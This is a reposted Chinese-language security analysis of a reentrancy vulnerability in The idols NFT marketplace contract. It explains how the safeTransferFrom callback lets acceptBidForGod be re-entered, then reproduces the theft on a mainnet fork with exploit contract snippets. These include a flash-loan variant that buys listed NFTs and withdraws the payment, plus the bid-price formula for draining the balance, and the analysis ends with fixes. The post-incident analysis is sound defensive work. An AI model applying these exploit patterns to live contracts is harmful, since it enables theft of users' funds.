The idols NFT marketplace 重入漏洞分析

区块链安全 2年前 (2022) admin
835 0 0

背景介绍

The idols是以太坊上的NFT项目,其特点在于会按照用户持有idols NFT的数量,分红Lido质押奖励(资金来源为项目公售获得的约2250 ETH)。该项目同时发行$VIRTUE代币,购买并质押代币的用户会分红idols NFT的交易手续费(交易额的7.5%)。因此开发团队自建了一个专用于The idols的交易平台,以避免用户在第三方交易平台(例如OpenSea)交易被收取额外的平台手续费。

3月7号,idols团队发布声明称,有白帽发现了其NFT交易市场合约中存在漏洞:攻击者利用精心构造的攻击合约,可以取出IdolMarketplace合约中所有的ETH。

随后idols团队采取了以下行动:

  1. 主动利用漏洞,提取出IdolMarketplace合约中卖家们尚未领取的约58 ETH,防止被黑客盗走
  2. 删除idols交易平台相关前端页面并通知用户尽快下架idols,防止黑客主动购买idols后再利用漏洞取出ETH
  3. 编写合约,用闪电贷购买了idols交易平台中的所有idols NFT,并再次利用漏洞取出款项,然后将idols NFT还给原owner

本文对相关合约进行分析,并复现漏洞利用。

源码分析

IdolMarketplace合约代码

合约地址:

0x4ce4f4c4891876ffc0670bd9a25fcc4597db3bbf

合约实现了简单的市场功能,包括:

  • 挂单 postGodListing
  • 取消挂单 removeGodListing
  • 购买 buyGod
  • 出价enterBidForGod
  • 取消出价 withdrawBidForGod
  • 接受出价acceptBidForGod
  • 提现 withdrawPendingFunds

直接涉及到取款操作的提现函数withdrawPendingFunds和取消出价函数withdrawBidForGod都使用了nonReentrant来防止重入攻击。

但在没有重入保护的购买函数buyGod接受出价函数acceptBidForGod中,使用了safeTransferFrom来转移ERC721。

safeTransferFrom实现源码中,调用了_checkOnERC721Received。如果NFT接收者是合约,会尝试调用该合约的onERC721Received函数,要求返回值必须为IERC721Receiver.onERC721Received.selector,即0x150b7a02

因此我们可以构造带有onERC721Received函数的恶意合约,保证最后该函数返回值为0x150b7a02,即可将其作为入口进行重入攻击。

回到acceptBidForGod函数中,它将删除出价操作放在了safeTransferFrom调用之后,这是该合约能被重入攻击的另一必要条件——在godBids[_godId]还没被删除时,通过调用safeTransferFrom从而重入调用acceptBidForGod使得pendingWithdrawals[msg.sender]能不断累加,再提现即可盗走合约中的ETH。

漏洞利用

重入攻击取走所有余额

开发团队在14340309区块进行了第一次漏洞利用以拯救合约中的ETH。

我们fork区块高度14340000进行测试:

ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,5000000000000000000 --chain.chainId 1

此时IdolMarketplace合约中大概有61 ETH,攻击者Bob有5 ETH:

async function getETHBalance(address:string) {
  return formatEther(await (await provider.getBalance(address)).toString())
}

console.log("Balance of idol marketplace: ", await getETHBalance(idolMarketplaceContract.address)," ETH")
console.log("Balance of bob: ", await getETHBalance(bob.address)," ETH")

// Balance of idol marketplace:  61.444988760689139709  ETH
// Balance of bob:  5.0  ETH

因为我们要利用对自己拥有的NFT出价,然后进入”接受出价-safeTransferFrom”重入循环,所以我们得先有一个NFT。查询logs中的GodListed事件找到一个售价为1 ETH的NFT进行购买,这里购买1426号:

await (await idolMarketplaceContract.buyGod(1426, {value: parseEther("1")})).wait()

然后思路为:

  1. Bob创建合约Exploit
  2. 将刚购买的idols NFT发送给合约Exploit
  3. 调用Exploit合约中attack()函数(发送3 ETH)
  4. attack()函数中创建ExploitReceive合约(发送3 ETH)
  5. ExploitReceive合约调用enterBidForGod()函数对Exploit合约拥有的idols NFT出价(3 ETH)
  6. Exploit合约接受该出价,进行NFT转移safeTransform()
  7. safeTransform()调用ExploitReceive合约的恶意onERC721Received函数,进行重入

ExploitReceive合约中的onERC721Received函数:

function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4) {
    times++;
    idolMain.transferFrom(address(this), address(exploit), id);
    // 因为会被收7.5%的手续费,所以需要如下计算重入多少次
    if (address(idolMarkestplace).balance > times * price * 925 / 1000) {
        exploit.acceptBidAgain(id);
    }
    return ERC721_RECEIVED;
}

由此做到重入攻击,具体查看Exploit和ExploitReceive合约代码

整个流程的时序图如下所示:

The idols NFT marketplace 重入漏洞分析

最终效果效果:

 

The idols NFT marketplace 重入漏洞分析

使用闪电贷”免费”获得NFT

除了盗走IdolMarketplace合约中已有的ETH,还能先主动购买在Marketplace上上架的NFT,此时支付的ETH进入了合约中,只要再进行重入攻击,就能把这笔钱取出来,相当于免费获得了NFT。

稀有款NFT的拥有者往往会定很高的价,在Bob本金不够的情况下,可以借助闪电贷完成攻击。

流程:

  1. 借款
  2. 购买在IdolMarketplace上架所有NFT
  3. 重入攻击取出刚付的ETH
  4. 还款

NFT上架eventNFT下架event分析得到哪些NFT仍处于可被购买状态:

async function getMarketNFTs(block: number | undefined) {
  let nfts : {[key: number]: [BigNumber, number]} = {}
  const listEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodListed(null, null, null), undefined, block);
  for( const e of listEvents ) {
    const args = e.args
    nfts[args[0].toNumber()] = [args[1], e.blockNumber]
  }
  const unlistEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodUnlisted(null), undefined, block);
  for ( const e of unlistEvents ) {
    const args = e.args
    const nftID = args[0].toNumber()
    if (nfts[nftID] && e.blockNumber > nfts[nftID][1]) {
      delete nfts[nftID]
    }
  }
  let res = []
  for ( const id in nfts ) {
    res.push(id)
  }
  return res
}

考虑到idols NFT可能在别的平台上被出售或者以其他某种方式transfer给了其他地址,对上面函数得到的结果遍历检查一下owner和上架人是否相同,能得到更准确的结果。

测试选取了十个定价高于10 ETH的idols NFT进行测试。

  let nfts = [
    '1005', '1074', '1862', '2008', '2106',
    '2607', '2668', '2700', '3320', '3544',
  ]

Bob初始资金1 ETH作为gas:

ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,1000000000000000000 --chain.chainId 1

漏洞利用合约代码

在接收到借款后开始攻击:

fallback() external payable {
    if (msg.sender == borrowerProxy && address(this).balance >= borrowValue) {
        _buyNFT();
        _reentry();
        _repay();
        _selfdestruct();
    }
}

在重入利用函数_reentry()中,有一行

// calculate bidPrice required to withdraw all ETH in IdolMarketplace
uint bidPrice = address(idolMarketplace).balance * 1000 / 850;

这里的850是通过计算得出的:The idols NFT marketplace 重入漏洞分析

x是idolMarketplace合约的ETH余额,y是为了提取其所有ETH所构造的交易价。由于每笔交易有7.5%的手续费,所以当买家投入y ETH,卖家只能提现y * (1 - fee) ETH。利用重入攻击提取两次,就是y * (1 - fee) * 2 ETH。最后解出方程就是上面代码中的比例:

The idols NFT marketplace 重入漏洞分析

最终效果:

The idols NFT marketplace 重入漏洞分析

可以看出,已经清空了idolmarketplace中的ETH并且这些NFT的owner都是Bob

总结

本次事件是safeTransferfrom导致的重入攻击的实际利用。就该项目合约而言,可以通过以下等方法修复:

  1. 给所有函数都加上nonReentrant
  2. 将状态修改放在safeTransferfrom之前

本文提到的代码可以在此github仓库中找到。

 

原文始发于Seebug(Dig2):The idols NFT marketplace 重入漏洞分析

版权声明:admin 发表于 2022年3月19日 下午2:03。
转载请注明:The idols NFT marketplace 重入漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...